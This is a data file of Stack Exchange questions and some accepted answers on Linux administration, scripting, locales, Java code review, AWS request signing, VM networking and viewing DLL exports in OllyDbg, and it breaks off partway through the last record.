{  "id": "_unix.213022"  , "question": "I cannot find /etc/sysconfig/clock in redhat 7. Is there any equivalent file in redhat7??"  , "title": "Equivalent of /etc/sysconfig/clock in redhat 7"  , "tags": "linux;rhel"  } 
{  "id": "_webmaster.101660"  , "question": "I have 200+ errors flagging in Search Console > Search Appearance > Structured DataThese are all hentry errors that say 'Missing:updated'.When testing live in the Structure Data Testing Tool, no errors appear.The code has not changed since the last detected date.I know that to fix this I would just add the updated property but, is Search Console unreliable/out of date that I can just ignore if all appears fine in the testing tool?"  , "title": "Discrepancy between Search Console and Structured Data Testing Tool"  , "tags": "seo;google search console;structured data"  } 
{  "id": "_unix.251786"  , "question": "I have two XML file first one ~/tmp/test.xml second one /data/myuser/.mycontent/mytest.xml I want to add all of the content on the first XML file to line 35 in the second one. I tried the following but with no lucksed -n '35,~/tmp/test.xml`' /data/myuser/.mycontent/mytest.xml(cat /data/myuser/.mycontent/mytest.xml; echo) | sed '35r ~/tmp/test.xml'ed -s ~/tmp/test.xml <<< $'35r /data/myuser/.mycontent/mytest.xml\\nw'Line 33 from second XML file line 34 is empty#the following tags contain employee locationXML tag in the first XML file<Location /mylocation>    first Address    second Address    Mylocation XX/XX/XX/XX    Myphone XXXXXXX</Location>What did I do wrong, please advise .Edit 1first XML ~/tmp/test.xml file contain only <Location /mylocation>    first Address    second Address    Mylocation XX/XX/XX/XX    Myphone XXXXXXX</Location>second XML /data/myuser/.mycontent/mytest.xml contain:NameVirtualHost *:XXXX<VirtualHost  *:XXXX>    ServerName AAAAAAAA# Manager comment 1# Manager comment 2# Manager comment 3#DocumentRoot /data/myuser/.mycontent/# support email xxxxx@yyyyy.com# started at 2010<employee /*>        AllowOverride None</employee><Location />        mylocation        Deny from all</Location><Location /icons/>#        employee info        my employee info        Allow from all</Location>DavLockDB /tmp/${APACHE_HOSTNAME}.DavLockDAVMinTimeout 5000LimitXMLRequestBody 0# This should be changed to whatever you set DocumentRoot to.## I need to add new tags here ##<Location /employee1>    first Address    second Address    Mylocation XX/XX/XX/XX    Myphone XXXXXXX</Location><Location /employee2>    first Address    second Address    Mylocation XX/XX/XX/XX    Myphone XXXXXXX</Location>## more tags same as above## then manager commentEdit 2second file /data/myuser/.mycontent/mytest.xml should be like: NameVirtualHost *:XXXX    <VirtualHost  *:XXXX>        ServerName AAAAAAAA    # Manager comment 1    # Manager comment 2    # Manager comment 3    #    DocumentRoot /data/myuser/.mycontent/    # support email xxxxx@yyyyy.com    # started at 2010    <employee /*>            AllowOverride None    </employee>    <Location />            mylocation            Deny from all    </Location>    <Location /icons/>    #        employee info            my employee info            Allow from all    </Location>    DavLockDB /tmp/${APACHE_HOSTNAME}.DavLock    DAVMinTimeout 5000    LimitXMLRequestBody 0    # This should be changed to whatever you set DocumentRoot to.    ## I need to add new tags here ##  ## this tag from first file     <Location /mylocation>        first Address        second Address        Mylocation XX/XX/XX/XX        Myphone XXXXXXX    </Location>  ## edit end    <Location /employee1>        first Address        second Address        Mylocation XX/XX/XX/XX        Myphone XXXXXXX    </Location>    <Location /employee2>        first Address        second Address        Mylocation XX/XX/XX/XX        Myphone XXXXXXX    </Location>    ## more tags same as above    ## then manager commentNote: ## this tag from first file and ## edit end to specify merge location location"  , "title": "Add content of XML file to another one using bash script"  , "tags": "bash;xml"  , "accepted_answer": "OK, so this isn't XML inserting into XML like I thought - if it was, the answer would be 'use a parser'. However it's not, you're just merging one text file into another. So I would break out the perl as I so often do:#!/usr/bin/env perluse strict;use warnings;open ( my $insert, '<', '~/tmp/test.xml' ) or die $!;open ( my $modify, '<', '/data/myuser/.mycontent/mytest.xml' ) or die $!; open ( my $output, '>', '/data/myuser/.mycontent/mytest.xml.new' ) or die $!; select $output; while ( <$modify> ) {    if ( $. == 32 ) { print <$insert>; };    print; }This should do the trick - if you're after a one liner, then it can be condensed down to:perl -p -i.bak -e 'BEGIN { open ( $insert, <, shift ) } if ( $. == 32 ) { print <$insert> }' ~/tmp/test.xml /data/myuser/.mycontent/mytest.xmlNote $. is perl for current line number. You can apply a different sort of conditional if you prefer. Like whether a regex matches (which might be more appropriate, given config files tend to get lines inserted into them). "  } 
{  "id": "_softwareengineering.340392"  , "question": "I am wondering how the apps that allowa user to choose an item and, once the user has selected an item and checked out, give the  retailer information about order that has been placed.    For example, say a takeaway has an iOS app and customer has chosen fish and chips and placed an order. How does the takeaway know an order has been placed? If it's TCP IP then I guess we need to start a server on the takeaway's computer? Is that right? How can modify the menu without making any changes in app from developer side?I am looking for an answer about how things work in real world. Once I have the idea then developing it is a piece of cake. "  , "title": "How does an app send an order to a retailer? What happens under the hood?"  , "tags": "android;ios;app"  , "accepted_answer": "I am wondering how does the retailer apps works which allows user to choose an item and once user have selected & checkout, the retailer get information about order been placed.Typically the app posts the selection to a server.  The buzz words you need to know to study this are Shopping Cart and E-Commerce. Many frameworks exist that would allow Fish & Chips takeaway to add their menu and pictures to their existing code.  TCP/IP is just one of many technologies at work here (I'm assuming no one uses UDP for this but could be wrong). 2) how can add /remove/modify menu without making any changes in app from developer side?Same way we've added our respective question and answer to softwareengineering.stackexchange.com.  Code and content are separated.  Everything we typed here doesn't end up in someones source code.  It just becomes data.  The source code doesn't care about the contents of the data.  It just needs to know how to find it and display it.  That means the content (menu, pictures) can be added long after they're done writing the code.  The app can download the latest content the same as a web browser would do.  "  } 
{  "id": "_cstheory.30978"  , "question": "Is that the same as saying the one will try to generate a higher-degree pseudo expectation functional by solving a SOS-program ? Or is there a difference between the two things? Or to take a different view, We needed to show that the projector to low-degree polynomials has bounded hypercontractive norm. We start off defining the projector $\\mathcal{P}_d$ as the map,$$\\mathcal{P}_d : ( \\{ \\pm \\}^n \\rightarrow \\mathbb{R}   )  \\rightarrow  ( \\{ \\pm \\}^n \\rightarrow \\mathbb{R}  )$$$$ f = \\sum_{\\alpha \\subseteq [n] }\\hat {f}_\\alpha \\chi_\\alpha  \\rightarrow f' = \\sum_{\\vert \\alpha\\vert \\leq d } \\hat{f}_\\alpha \\chi_\\alpha$$Where $\\chi_\\alpha = \\prod_{i \\in \\alpha} x_i$Then we show that the over the space of such ''$n-$variate Fourier polynomials $f'$ with degree at most $d$, $\\mathbb{E} [f'^4 ] \\leq 9^d ( \\mathbb{E} [ f'^2 ] )^2  $ (which is equivalent to showing that  $\\Vert \\cal{P} \\Vert_{2 \\rightarrow 4 } \\leq 9^d$ ) So in the above context is the choice of ``4 what quantifies the number of rounds of Lasserre hierarchy used? (the above is called a degree-4 SOS proof!) (as in you can run the SOS-program trying to optimize the hypercontractive norm of an operator only for as large a value of $x$(here $4$) as for which above kind of hypercontractive bounds can be established?) Since this hypercontractive bound on such projection operators is already proven as a theorem then what does the so-called Tensor-SDP algorithm achieve in terms of giving an efficient certificate?"  , "title": "What are multiple rounds of SOS/Lasserre hierarchy?"  , "tags": "cc.complexity theory;approximation algorithms;approximation hardness;unique games conjecture"  } 
{  "id": "_unix.337960"  , "question": "I am using an embedded device with onboard storage (mmcblk0).The system is using UEFI (and GRUB), on mmcblk0 I have a GPT partition with 3 partition: root, configurations, swap.My command to boot is:linux /vmlinuz root=/dev/mmcblk0p1 net.ifnames=0 splashNow my problem is that when I set the quiet or loglevel param, it fails to boot and hangs up in a kernel panic. When I don't set one of those it boots perfectly. Root param is always the same.Full kernel panic log:"  , "title": "Kernel panic using logelevel or quiet"  , "tags": "kernel;linux kernel;kernel panic"  } 
{  "id": "_unix.149111"  , "question": "This question was stimulated by asking the questionChromium browser does not allow setting the default paper size for Print to File, and also by a conversation with @Gilles on chat. As pointed out by @don_crissti, and as verified by me, changing the locale (at least LC_PAPER) makes a difference in what paper size is selected.I had never given much thought to what to select, and had always gone with en_US.UTF-8 because it seemed like a reasonable default choice.However, per @Gilles on chat (see conversation starting at http://chat.stackexchange.com/transcript/message/17017095#17017095). Extracts:Gilles: LC_PAPER defaults to $LANGGilles: You must have LANG=en_US.UTF-8. That's a bad idea: it sets  LC_COLLATE and that's almost always a bad thingGilles: LC_COLLATE doesn't describe correct collation, it's too  restrictive (it goes character by character) remove LANG and instead  set LC_CTYPE and LC_PAPERGilles: plus LC_MESSAGES if you want messages in a language other than  EnglishClearly, there are issues here I am not aware of, and I am sure many others are as well. So, what issues should you consider when setting locales, and how should you set them? I've always just run dpkg-reconfigure locales in Debian, and not thought twice about it.Specific question: Should I set my locale to en_IN.UTF-8? Are there any drawbacks of doing so?See also: Does (should) LC_COLLATE affect character ranges?"  , "title": "What should I set my locale to and what are the implications of doing so?"  , "tags": "locale"  , "accepted_answer": "Locale settings are user preferences that relate to your culture.Locale namesOn all current unix variants that I know of (but not on a few antiques), locale names follow the same pattern: An ISO 639-1 lowercase two-letter language code, or an ISO 639-2 three-letter language code if the language has no two-letter code. For example, en for English, de for German, ja for Japanese, uk for Ukrainian, ber for Berber, For many but not all languages, an underscore _ followed by an ISO 3166 uppercase two-letter country code. Thus: en_US for US English, en_UK for British English, fr_CA Canadian (Qubec) French, de_DE for German of Germany, de_AT for German of Austria, ja_JP for Japanese (of Japan), etc.Optionally, a dot . followed by the name of a character encoding such as UTF-8, ISO-8859-1, KOI8-U, GB2312, Big5, etc. With GNU libc at least (I don't know how widespread this is), case and punctuation is ignored in encoding names. For example, zh_CN.UTF-8 is Mandarin (simplified) Chinese encoded in UTF-8, while zh_CN is Mandarin Chinese encoded in GB2312, and zh_TW is Taiwanese (traditional) Chinese encoded in Big5.Optionally, an at sign @ followed by the name of a variant. The meaning of variants is locale-dependent. For example, many European countries have an @euro locale variant where the currency sign is  and where the encoding is one that includes this character (ISO 8859-15 or ISO 8859-16), as opposed to the unadorned variant with the older currency sign. For example, en_IE (English, Ireland) uses the latin1 (ISO 8859-1) encoding and  as the currency symbol while en_IE@euro uses the latin9 (ISO 8859-15) encoding and  as the currency symbol.In addition, there are two locale names that exist on all unix-like system: C and POSIX. These names are synonymous and mean computerese, i.e. default settings that are appropriate for data that is parsed by a computer program.Locale settingsThe following locale categories are defined by POSIX:LC_CTYPE: the character set used by terminal applications: classification data (which characters are letters, punctuation, spaces, invalid, etc.) and case conversion. Text utilities typically heed LC_CTYPE to determine character boundaries.LC_COLLATE: collation (i.e. sorting) order. This setting is of very limited use for several reasons:Most languages have intricate rules that depend on what is being sorted (e.g. dictionary words and proper names might not use the same order) and cannot be expressed by LC_COLLATE.There are few applications where proper sort order matters which are performed by software that uses locale settings. For example, word processors store the language and encoding of a file in the file itself (otherwise the file wouldn't be processed correctly on a system with different locale settings) and don't care about the locale settings specified by the environment.LC_COLLATE can have nasty side effects, in particular because it causes the sort order A < a < B < , which makes between A and Z include the lowercase letters a through y. In particular, very common regular expressions like [A-Z] break some applications.LC_MESSAGES: the language of informational and error messages.LC_NUMERIC: number formatting: decimal and thousands separator.Many applications hard-code . as a decimal separator. This makes LC_NUMERIC not very useful and potentially dangerous:Even if you set it, you'll still see the default format pretty often.You're likely to get into a situation where one application produces locale-dependent output and another application expects . to be the decimal point, or , to be a field separator.LC_MONETARY: like LC_NUMERIC, but for amounts of local currency.Very few applications use this.LC_TIME: date and time formatting: weekday and month names, 12 or 24-hour clock, order of date parts, punctuation, etc.GNU libc, which you'll find on non-embedded Linux, defines additional locale categories:LC_PAPER: the default paper size (defined by height and width).LC_NAME, LC_ADDRESS, LC_TELEPHONE, LC_MEASUREMENT, LC_IDENTIFICATION: I don't know of any application that uses these.Environment variablesApplications that use locale settings determine them from environment variables.Then the value of the LANG environment variable is used unless overridden by another setting. If LANG is not set, the default locale is C.The LC_xxx names can be used as environment variables.If LC_ALL is set, then all other values are ignored; this is primarily useful to set LC_ALL=C run applications that need to produce the same output regardless of where they are run.In addition, GNU libc uses LANGUAGE to define fallbacks for LC_MESSAGES (e.g. LANGUAGE=fr_BE:fr_FR:en to prefer Belgian French, or if unavailable France French, or if unavailable English).Installing localesLocale data can be large, so some distributions don't ship them in a usable form and instead require an additional installation step.On Debian, to install locales, run dpkg-reconfigure locales and select from the list in the dialog box, or edit /etc/locale.gen and then run locale-gen.On Ubuntu, to install locales, run locale-gen with the names of the locales as arguments.You can define your own locale.RecommendationThe useful settings are:Set LC_CTYPE to the language and encoding that you encode your text files in. Ensure that your terminals use that encoding.For most languages, only the encoding matters. There are a few exceptions; for example, an uppercase i is I in most languages but  in Turkish (tr_TR).Set LC_MESSAGES to the language that you want to see messages in.Set LC_PAPER to en_US if you want US Letter to be the default paper size and just about anything else (e.g. en_GB) if you want A4.Optionally, set LC_TIME to your favorite time format.As explained above, avoid setting LC_COLLATE and LC_NUMERIC. If you use LANG, explicitly override these two categories by setting them to C."  } 
{  "id": "_webapps.75180"  , "question": "I'd like to put the share link to a my files in spreadsheet to make it easier to to share. Is it possible to get the link to all files without going to each file individually?"  , "title": "Get share link of multiple files in Google Drive"  , "tags": "google drive"  } 
{  "id": "_unix.226776"  , "question": "Are basic system administrator utilities such as useradd or adduser standardized? If so, where can I find the specs? (POSIX doesn't seem to encompass those, but I might need to take a better look)."  , "title": "Are basic system administrator utilities such as useradd or adduser standardized?"  , "tags": "administration;standard"  , "accepted_answer": "No, these utilities are not standardized. A quick look through the useradd(8) manual on RHEL6 versus OpenBSD reveals that while there are similarities, various flags differ in purpose. For a broader view, http://bhami.com/rosetta.html lists under managing users a variety of different commands, depending on the particular flavour of unix."  } 
{  "id": "_unix.120368"  , "question": "Some applications simulate a virtual USB or CD Rom drive as if a USB drive is attached to the computer.Is there any configuration or application that provides a virtual USB drive, not for the the operating system itself, but for other equipments which accept USB drive, through a USB port.So I'll have a virtual hard disk (e.g. a *.vdi file) in the computer, which is connected, through a USB socket, as a USB drive to some other equipment (e.g. a cell phone or a laptop)."  , "title": "Make a computer act as a virtual USB device for other equipments"  , "tags": "usb"  , "accepted_answer": "You would need to add a USB Device/Peripheral controller to the computer, as opposed to the USB Host Controller they tend to come with.Something like this: https://www.maximintegrated.com/en/products/interface/controllers-expanders/MAX3420E.htmlUnfortunately, you'd have to find a way to wire it onto your motherboard.  Technically, it can be done.  Practically, you'd have to redesign the motherboard to include it.  You might be lucky enough to find an SPI or I2C bus exposed somewhere on your motherboard to allow you to add it, but they're usually wired directly into whatever they're being used for unless you're using a dev board or single-board computer with exposed GPIO and other ports such as a Raspberry Pi.The other option would be a USB On-the-Go Controller.  Motherboards designed for embedded and portable devices tend to have a USB OTG (On-the-go) contoller, which can function as either a Host or Device controller.  For example, the aforementioned Raspberry Pi has an On-the-Go Controller, but on all models except the Pi Zero that gets rewired to a host port or an onboard USB hub denying the use of USB device functionality.  The BeagleBone Black has an OTG port.That's not all though - once you've got the hardware, you'd also need the software.  Linux has some useful kernel USB Gadget drivers (USB gadget is another term for USB peripheral/device) such as g_serial and g_ethernet that allow you to plug your device into another computer and be visible as a serial or ethernet-over-USB device (there are others for exposing a device as mass storage, which allow you to use a file as a block device and expose the computer as a mass storage gadget).  The BeagleBone Black tends to come with this enabled by default, so you can simply plug it into your PC over USB and see it as a networked device - and I believe it also appears as a mass storage device by using a composite driver (which allows it to appear as multiple USB device types over a single connection.)  The Pi Zero can use these, but does not by default.  For Windows or other OSes, you'd probably have to write that device driver yourself.So, theoretically, you can do it.  You can tear down your desktop PC, try and find an unused compatible bus on the motherboard somewhere (most likely some unused pins on a controller IC), or a way to extend an internal I2C or SPI bus, or something you can tear out and replace, and solder a USB OTG or device controller chip onto it.  Then you can install Linux and use a gadget driver, or write your own for another OS.  Practically, unless you're a top-notch electronics engineer, you're not going to be able to do it.  At least, not until someone comes out with that elusive adapter with a device or OTG port on it that plugs into a USB port (theoretically, that could be done with a microcontroller such an Arduino wired to a pair of USB device controller ICs), and writes the drivers to run it."  } 
{  "id": "_webapps.8989"  , "question": "I am totally aware of this question, however this isn't a very elegant solution that seems very buggy or even outdated, judging from the comments.I heard that there was a Greasemonkey/UserScript that would achieve the same goal: Removing all my own status updates from the Facebook profile (but for example not what other people have posted me). I could not find it - has anybody got an idea?In other terms - would it be possible for me to write my own Facebook app that achieves that goal, i.e. by using the Facebook API?"  , "title": "Script or App to remove own Facebook status updates"  , "tags": "facebook;greasemonkey"  , "accepted_answer": "You can use an app like Exfoliate, available on Android phones, that candelete everything youve posted on friends walls, including commentsand likes, as well as your own wall. It cleans out photo galleries too.You can set the age of stuff you want deleted too. Search for Exfoliatein the Android Marketplace to find it, or:https://market.android.com/details?id=com.worb.android.exfoliate"  } 
{  "id": "_codereview.135632"  , "question": "I have been assigned to developed a feature that filters a conversation. For example, I want to filter the conversation by user id then export it to something either JSON or text file. In this case, I created a class that handles the filters like this.import java.util.ArrayList;import java.util.List;/** * Represents the filter that operates the filter functions for messages * * @author Muhammad */public class Filter {    String filterType;    String argumentValue;    //Constructor that takes a parameter of filter type and argument value.    public Filter(String filterType, String argumentValue) {        this.filterType = filterType;        this.argumentValue = argumentValue;    }    //Method that filters a conversation by a specific user and return filterd conversation.    public static Conversation filterByUser(Conversation conversation, String specificUser) {        List<Message> messageList = new ArrayList<>();        //Filter by used id        for (Message message : conversation.messages) {            if (message.senderId.equals(specificUser)) {                messageList.add(message);                Conversation filteredConversation = new Conversation(conversation.name, messageList);                conversation = filteredConversation;            }        }        return conversation;    }    //Method that filters a conversation that contains a specific keywod and returns filterd conversation.    public static Conversation filterByWord(Conversation conversation, String specificWord) {        List<Message> messageList = new ArrayList<>();        //Filter by keyword        for (Message message : conversation.messages) {            if (message.content.contains(specificWord)) {                messageList.add(message);                Conversation filteredConversation = new Conversation(conversation.name, messageList);                conversation = filteredConversation;            }        }        return conversation;    }    //Method that hides a word in a conversation by a specificword    public static Conversation hideWord(Conversation conversation, String specificWord) {        List<Message> messageList = new ArrayList<>();        //Filter by used id        for (Message message : conversation.messages) {            if (message.content.contains(specificWord)) {                message.content = message.content.replaceAll(specificWord, *redacted*);                messageList.add(message);                Conversation filteredConversation = new Conversation(conversation.name, messageList);                conversation = filteredConversation;            }        }        return conversation;    }}In another class, I used it inside a method called filter like this.private void filter(Filter filter, Conversation conversation, String outputFilePath) throws Exception {        String filterType = filter.filterType; //used to get the type of filter        String argumentValue = filter.argumentValue;        //Filterers        switch (filterType) {            case filteruser:                conversation = Filter.filterByUser(conversation, argumentValue);                this.writeConversation(conversation, outputFilePath);                break;            case filterword:                conversation = Filter.filterByWord(conversation, argumentValue);                this.writeConversation(conversation, outputFilePath);                break;            case hideword:                conversation = Filter.hideWord(conversation, argumentValue);                this.writeConversation(conversation, outputFilePath);                break;            default:                this.writeConversation(conversation, outputFilePath);                break;        }    }This code works, however I'd like feedback on anyways that I can improve the code as I am just a graduate."  , "title": "Filtering conversation by filter type and value"  , "tags": "java"  , "accepted_answer": "I want to mention only one thing especially:You're using magic string to choose your filter types. Instead of doing that (because it's brittle) you are probably better off with an enum:public enum FilterType {    USER, WORD, HIDE_WORD}Your code would have to adjust a little, but to give a short look into the filter method:private void filter(Filter filter, Conversation conversation, String outputFilePath) {    switch (filter.filterType) {        case FilterType.USER:            conversation = Filter.filterByUser(conversation, filter.argumentValue);            writeConversation(conversation, outputFilePath);            break;        case FilterType.WORD:            conversation = Filter.filterByWord(conversation filter.argumentValue);            writeConversation(conversation, outputFilePath);            break;        // ...This exposes another small improvement possibility in your code.In every case you will call this.writeConversation with exactly the same arguments. You can move that to outside the switch-case block:switch (filter.filterType) {    // ...}this.writeConversation(conversation, outputFilePath);Another last thing I want to recommend is using Path intead of String to refer to outputFilePath. This makes it blatantly obvious, that you're  actually referring to a File. Strings are .. not Paths..."  } 
{  "id": "_unix.256607"  , "question": "I've seen several answers where there are hints at creating a partition in memory, copying the contents of a SD Card into that partition and then booting an operating system (linux) from that memory partition.What boot loader would I use for something like this and where can I find documentation on setting it up?"  , "title": "Load system from SD Card into Memory and then Boot from Memory"  , "tags": "boot loader;sd card"  , "accepted_answer": "The bootloader is not involved at all, this task is usually performed by Linux kernel after it gets loaded into memory from SD card by bootloader which is located on SD card.The modern way of booting from memory requires you to write a custom initramfs script that will detect media where Linux is booted from (since bootloaders do not provide such a useful information although some of them certainly can detect media where they boot from), open it's filesystem in readonly mode, allocate tmpfs space for the future root filesystem and then copy everything from media to it, then just switchroot and execute /sbin/init from there.You can find a good example here - a script which detects where to find a media to copy from, and you will need to create initramfs image, usually by hand, see this script for some key instructions.If you do not know how initramfs works, you should check out good info first, consider reading Documentation/filesystems/ramfs-rootfs-initramfs.txt as well as Linux From Scratch - About initramfs, and google linux initramfs."  } 
{  "id": "_unix.78987"  , "question": "I have a bash script that should return the XML response for AWS EC2 regionsbut I am getting an XML error response as:SignatureDoesNotMatch The request signature we calculated does not match the signature you provided. Check your AWS Secret Access Key and signing method. Consult the service documentation for details.Is the method for generating the signature for EC2 web query correct? Here's the code:#!/bin/bashdt=$(date +%FT%TZ | sed 's/:/%3A/g')echo $dtq=GETec2.amazonaws.com/Action=DescribeRegions&AWSAccessKeyId=<aws access key>&SignatureMethod=HmacSHA256&SignatureVersion=2&Timestamp=$dt&Version=2013-02-01sig=$(echo -en $q | openssl dgst -sha256 -hmac <aws secret key> -binary | openssl enc -base64)echo the signature is $sigcurl --get --data-urlencode DATA https://ec2.amazonaws.com/?Action=DescribeRegions&AWSAccessKeyId=<aws access key>&SignatureMethod=HmacSHA256&SignatureVersion=2&Timestamp=$dt&Version=2013-02-01&Signature=$sigecho -e \\n\\n finished P.S: the AWS access key and AWS secret key are removed for security reason, they work very well."  , "title": "AWS XML response error signature does not match"  , "tags": "bash;amazon ec2"  } 
{  "id": "_unix.131004"  , "question": "I want to change my old FC 4 client to new Fedora 19 client, but I need to use all the same files on openvpn and IP address. Can I use SCP command for copy all this configurations? Thanks! "  , "title": "Change OpenVPN client, can I use the same server configurations using scp?"  , "tags": "scp;openvpn;fedora"  , "accepted_answer": "Normally it should work, but since the version of OpenVPN client on Fedora 4 is pretty old you might encounter some inconsistencies regarding option names and usage.Yes scp can used to copy openvpn client configs and certificates to the new Fedora 19 client."  } 
{  "id": "_unix.110579"  , "question": "When I look at the properties of an image, I can see the date the photo was taken in Date Taken. When I edit the images (proprietary program) this data gets lost.How can I rename the image files before editing to include this date (preferably in ISO format for sorting by name). "  , "title": "renaming images to include creation date in name"  , "tags": "rename;images"  , "accepted_answer": "You can do this with exiftool. From the man page:   exiftool '-FileName<CreateDate' -d %Y%m%d_%H%M%S%%-c.%%e dir        Rename all images in dir according to the CreateDate date and        time, adding a copy number with leading '-' if the file already        exists (%-c), and preserving the original file extension (%e).        Note the extra '%' necessary to escape the filename codes (%c and        %e) in the date format string.The example format should get you ISO format filenames. Include the time to make sure you can handle multiple images per day."  } 
{  "id": "_unix.231778"  , "question": "My iptables -L:Chain INPUT (policy ACCEPT)target     prot opt source               destination         ACCEPT     udp  --  anywhere             anywhere             udp dpt:domainACCEPT     tcp  --  anywhere             anywhere             tcp dpt:domainACCEPT     udp  --  anywhere             anywhere             udp dpt:bootpsACCEPT     tcp  --  anywhere             anywhere             tcp dpt:bootpsChain FORWARD (policy ACCEPT)target     prot opt source               destination         ACCEPT     all  --  anywhere             192.168.122.0/24     ctstate RELATED,ESTABLISHEDACCEPT     all  --  192.168.122.0/24     anywhere            ACCEPT     all  --  anywhere             anywhere            ACCEPT     tcp  --  anywhere             nginx                tcp dpt:httpACCEPT     tcp  --  anywhere             nginx                tcp dpt:httpsChain OUTPUT (policy ACCEPT)target     prot opt source               destination         ACCEPT     udp  --  anywhere             anywhere             udp dpt:bootpcACCEPT     tcp  --  anywhere             anywhereAlso:$ cat /proc/sys/net/ipv4/ip_forward1I have several VMs in 192.168.122.0/24, one is the nginx receiving 80 and 443.  All networking works properly except when VMs request :80 and :443 from each other, even when doing so from a FQDN (which should land on the nginx).  "  , "title": "iptables forward from host to guest interferes with vm-vm communication"  , "tags": "iptables;kvm"  } 
{  "id": "_softwareengineering.271776"  , "question": "Since quite many dynamic programming languages have the feature of duck typing, and they can also open up and modify class or instance methods at anytime (like Ruby and Python), thenQuestion 1)Whats the need for a class in a dynamic language? Why is the language designed that way to use a class as some kind of template instead of do it the prototype-way and just use an object?Also JavaScript is prototyped-based, but CoffeeScript (the enhanced version of JavaScript) chooses the class-based way. And it goes the same for Lua (prototyped-based) and MoonScript (class-based). In addition, theres class in ES 6. SoQuestion 2)Is it suggesting that if you try to improve a prototype-based language, among other things, you should change it to class-based? If not, why is it designed that way?"  , "title": "Why would many duck-typed dynamic programming languages use a class-based approach instead of prototype-based OOP?"  , "tags": "object oriented;programming languages;duck typing;dynamic languages"  , "accepted_answer": "Question 1) Whats the need for a Class in a dynamic language? Why the language is designed that way to use a class as some kind of template instead of do it the prototype-way and just use a object?The very first OO language (even though it wasn't called OO), Simula, didn't have inheritance. Inheritance was added in Simula-67, and it was based on classes.Around the same time, Alan Kay started working on his idea of a new programming paradigm, which he later named Object-Orientation. He really liked inheritance and wanted to have it in his language, but he also really disliked classes. However, he couldn't come up with a way to have inheritance without classes, and so he decided that he disliked classes more than he liked inheritance and designed the first version of Smalltalk, Smalltalk-72 without classes and thus without inheritance.A couple of months later, Dan Ingalls came up with a design of classes, where the classes themselves were objects, namely instances of metaclasses. Alan Kay found this design slightly less appaling than the older ones, so Smalltalk-74 was designed with classes and with inheritance based on classes.After Smalltalk-74, Alan Kay felt that Smalltalk was moving in the wrong direction and didn't actually represent what OO was all about, and he proposed that the team abandon Smalltalk and started fresh, but he was outvoted. Thus followed Smalltalk-76, Smalltalk-80 (the first version of Smalltalk to be released to researchers), and finally Smalltalk-80 V2.0 (the first version to be released commercially, and the version which became the basis for ANSI Smalltalk).Since Simula-67 and Smalltalk-80 are considered the grandparents of all OO languages, almost all languages that followed, blindly copied the design of classes and inheritance based on classes. A couple of years later, when other ideas like inheritance based on mixins instead of classes, and delegation based on objects instead of inheritance based on classes surfaced, class-based inheritance had already become too entrenched.Interestingly enough, Alan Kay's current language is based on prototype delegation."  } 
{  "id": "_webapps.101106"  , "question": "We would like to know where our clicks are coming from when a customer signs up. How can we do this?"  , "title": "How can we get the referring URL value in a Cognito form?"  , "tags": "cognito forms"  } 
{  "id": "_opensource.115"  , "question": "The prime example being iojs as a fork of nodejs, where the main difference being (aside from the obvious advancement in technology versioning and being more up-to-date), is that iojs has an Open Governance Model, which nodejs does not.What does that mean exactly? How are the two different?"  , "title": "What is the Open Governance Model? How is it different from other models?"  , "tags": "untagged"  , "accepted_answer": "The reason that io.js forked from node.js in the first place was that those originally involved in the forked project wanted the community using the fork to be able to give feedback to the design and add improvements. In the words of team member Mikeal Rogers,We've been working with Joyent since July to try and move the project to a structure where the contributors and community can step in and effectively solve the problems facing Node.. . .In my opinion, the best way to move Node forward is to get the community organized around solving problems and putting out releases, so that's what we're doing. Open-source governance has been applied to a wide range of things, just as the open source movement has spread to many fields."  } 
{  "id": "_softwareengineering.288100"  , "question": "I am using wxHaskell to create a simple GUI that has typical components like Buttons, Panels, etc.When some of these components perform an action (like callback), the generic status of the application can change.To keep the status I am using IORef as a sort of pointer to a generic data structure with all the properties of the status self.Anyway using IORef as a sort of top level mutable state is generally not considered a good solution based on https://wiki.haskell.org/Top_level_mutable_state. It might be better State/StateT monad.wxHaskell is a bind to an object oriented library (wxWidgets) and using a State monad is hard unless it's hooked to the main event loop thread.What is the best way to manage a generic GUI status with Haskell in a functional programming way?"  , "title": "How to manage the state in a GUI app with Haskell"  , "tags": "haskell;monad"  } 
{  "id": "_reverseengineering.6104"  , "question": "Being rather new to the concept of RE, I wanted to try and take a look at the assembly code in one DLL that I know exports some functions.First, I used this tool - http://www.nirsoft.net/utils/dll_export_viewer.html - to obtain a list of exports within said DLL. These are some of the functions:GI_Call 0x100590a7  0x000590a7  2 (0x2) mydll.dll   I:\\test\\mydll.dll   Exported Function   GI_CleanReturnStack 0x10058eae  0x00058eae  3 (0x3) mydll.dll  I:\\test\\mydll.dll    Exported Function   GI_Cmd_Argc 0x10058bd4  0x00058bd4  4 (0x4) mydll.dll   I:\\test\\mydll.dll   Exported Function   GI_Cmd_Argc_sv  0x10059593  0x00059593  5 (0x5) mydll.dll   I:\\test\\mydll.dll   Exported Function   When I, however, load the DLL up in OllyDbg and browse to any of these addresses, I get instructions that don't really resemble a beginning of a function, for example GI_Call:100590A7     10E9                ADC CL,CH100590A9     CE                  INTO100590AA     FC                  CLD100590AB     FFFF                ???                                                        ; Unknown command100590AD     FF75 10             PUSH DWORD PTR SS:[EBP+10]100590B0     8D45 FC             LEA EAX,DWORD PTR SS:[EBP-4]100590B3     50                  PUSH EAX100590B4     57                  PUSH EDIWhat's even more puzzling is that once I scroll up/down, the code actually changes - there's no100590A7     10E9                ADC CL,CHanymore, it changes to a completely different instruction, also that address is gone.Am I doing something wrong? Or is the DLL possibly encrypted? Though if it is, how could DLL Export Viewer dump the exports so easily?"  , "title": "Viewing an exported DLL function in OllyDbg - garbage code"  , "tags": "disassembly;ollydbg;dll;functions"  , "accepted_answer": "Your library might get loaded to a location that's completely different from the one it wants to be loaded at, i.e. the address in the header, due to ASLR.Also, when loading a DLL, Ollydbg doesn't load the DLL directly; instead, it uses loaddll.exe. Which means, it starts the executable, but the breakpoint it sets is before loaddll has a chance to, well, load the DLL.Try the following:Set a breakpoint on LoadLibraryA : right click in CPU Window - Go To - Expression - LoadLibraryA - Press F2;Repeat the same with LoadLibraryW (the A version should be sufficient, just to make sure);Run the program;Once your breakpoint is it, press CTRL-F9 (execute till return);If your DLL depends on others, you'll hit one of your breakpoints again; else you'll hit the breakpoint at the RET instruction. Don't worry, in either case, your DLL will be loaded;Use View->Memory or View->Executable Modules to learn where your DLL was actually loaded. This may be the same address that DLL Export Viewer shows you, but often, it will be different (address conflicts between two DLLs, in which case one has to be relocated, or ASLR, as above);Only if the addresses match: Right Click -> GoTo -> Expression -> 0x12345678 or whatever address you want to see;No matter if they match or not: Right Click -> GoTo -> Expression -> (Function name) will scroll to 